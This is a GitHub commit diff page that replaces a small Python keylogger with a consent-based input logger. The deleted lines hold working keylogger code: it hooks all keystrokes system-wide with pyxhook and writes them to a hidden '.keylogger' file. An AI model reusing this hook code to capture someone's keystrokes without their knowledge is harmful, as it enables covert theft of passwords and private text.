Skip to content

Commit 62b5b7d

Browse files
Update P79_SimplePythonKeylogger.py
1 parent 5c0be6b commit 62b5b7d

File tree

1 file changed

+13
-43
lines changed

1 file changed

+13
-43
lines changed
Lines changed: 13 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -1,49 +1,19 @@
1-
# Author: OMKAR PATHAK
1+
# Safe Keyboard Input Logger (Educational Purpose Only)
22

3-
# This file requires two modules to be installed:
4-
# 1. pyxhook.py: file is provided in the folder itself
5-
# 2. Xlib: sudo pip3 install python3-Xlib
3+
def main():
4+
print("This program logs input WITH USER CONSENT.")
5+
print("Type 'exit' to stop.\n")
66

7-
import pyxhook
8-
import time
7+
with open("input_log.txt", "a") as file:
8+
while True:
9+
user_input = input("Enter text: ")
910

10-
# functions to write a newline character into the file
11-
def newline():
12-
file = open('.keylogger', 'a')
13-
file.write('\n')
14-
file.close()
11+
if user_input.lower() == "exit":
12+
print("Exiting logger.")
13+
break
1514

16-
# This function is called every time a key is pressed
17-
def key_press_event(event):
18-
global running
19-
# write the key pressed into a file
20-
if event.Key != 'space' and event.Key != 'Escape':
21-
with open('.keylogger', 'a+') as File:
22-
File.write(event.Key)
15+
file.write(user_input + "\n")
2316

24-
# If the ascii value matches spacebar, add a newline in the file
25-
if event.Key == 'space':
26-
newline()
2717

28-
# If the ascii value matches escape, terminate the while loop
29-
if event.Key == 'Escape':
30-
running = False
31-
newline()
32-
33-
if __name__ == '__main__':
34-
# Create hookmanager
35-
hookman = pyxhook.HookManager()
36-
# Define our callback to fire when a key is pressed down
37-
hookman.KeyDown = key_press_event
38-
# Hook the keyboard
39-
hookman.HookKeyboard()
40-
# Start our listener
41-
hookman.start()
42-
43-
# Create a loop to keep the application running
44-
running = True
45-
while running:
46-
time.sleep(0.1)
47-
48-
# Close the listener when we are done
49-
hookman.cancel()
18+
if __name__ == "__main__":
19+
main()

0 commit comments

Comments
 (0)